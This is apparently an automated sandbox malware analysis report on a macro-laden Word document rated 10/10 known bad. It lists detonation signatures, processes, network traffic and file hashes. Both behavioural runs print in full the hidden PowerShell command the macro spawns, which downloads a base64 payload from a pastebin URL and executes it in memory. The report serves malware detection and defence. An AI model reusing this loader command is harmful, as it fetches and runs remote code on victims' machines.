Malware Analysis Report

2025-01-22 19:11

Sample ID 240723-xrj75sshqm
Target 0949319f174a220b4e719715d9d5b20e.doc
SHA256 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Tags
execution macro macro_on_action discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

Threat Level: Known bad

The file 0949319f174a220b4e719715d9d5b20e.doc was found to be: Known bad.

Malicious Activity Summary

execution macro macro_on_action discovery

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-23 19:05

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-23 19:05

Reported

2024-07-23 19:07

Platform

win10v2004-20240704-en

Max time kernel

149s

Max time network

158s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 85.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 8.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.17.209.140:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.24:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 140.209.17.2.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 121.170.16.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/928-0-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-2-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-1-0x00007FF948DAD000-0x00007FF948DAE000-memory.dmp

memory/928-4-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-3-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-5-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-6-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-9-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-8-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-7-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-12-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-13-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-15-0x00007FF906BF0000-0x00007FF906C00000-memory.dmp

memory/928-14-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-17-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-19-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-18-0x00007FF906BF0000-0x00007FF906C00000-memory.dmp

memory/928-16-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-11-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-10-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-32-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-33-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/752-37-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/752-44-0x0000019C77A00000-0x0000019C77A22000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebrcjf14.mb5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\36D600F9.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/752-54-0x0000019C77B80000-0x0000019C77BC4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 d29962abc88624befc0135579ae485ec
SHA1 e40a6458296ec6a2427bcb280572d023a9862b31
SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA512 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

memory/752-118-0x0000019C77FB0000-0x0000019C78026000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 497b0888e3c5c07866e72a0525382c08
SHA1 20420ef3b0c052f9857442cea841f20271f2a36d
SHA256 cf5301fc6fdda22f0e1a96f331f67d763f78466b9f5592e5b7431e1ee3e02649
SHA512 805e5d37ee660b5b61329c3fe982b3442f1ffd19bfa775e90b5a653afa11e085c548fce0e49ced25683573df6945f056c8eb2ec700f3a62f8527b07c588430e5

memory/928-128-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCDF685.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

memory/928-246-0x00007FF948DAD000-0x00007FF948DAE000-memory.dmp

memory/928-247-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-248-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-249-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-250-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/752-251-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

memory/928-276-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-275-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-278-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-277-0x00007FF908D90000-0x00007FF908DA0000-memory.dmp

memory/928-279-0x00007FF948D10000-0x00007FF948F05000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-23 19:05

Reported

2024-07-23 19:07

Platform

win7-20240704-en

Max time kernel

122s

Max time network

130s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp

Files

memory/2288-0-0x000000002F4D1000-0x000000002F4D2000-memory.dmp

memory/2288-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2288-2-0x000000007112D000-0x0000000071138000-memory.dmp

memory/2288-4-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2288-5-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2288-6-0x0000000000630000-0x0000000000730000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2288-66-0x000000007112D000-0x0000000071138000-memory.dmp

memory/2288-67-0x0000000000630000-0x0000000000730000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 bebc311f5eb0fdaf478a7dc25ebcfc22
SHA1 ef1a06ace995aacb97a7fe27d678413af4c6110b
SHA256 7165f7bbfcd6c1e788b617232ed6615bd4c34d2db070781750e9e7eb868907e2
SHA512 a5ea48ad2e83fa2da65bbd729f5a9604469f8aef708a5c76c0226b9d31db4a01a5c52195285ccf20f7213c44962c405cfec1314f1c9505bf78b77706816b3c2e

memory/2288-89-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\541EB59C.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/2288-92-0x000000007112D000-0x0000000071138000-memory.dmp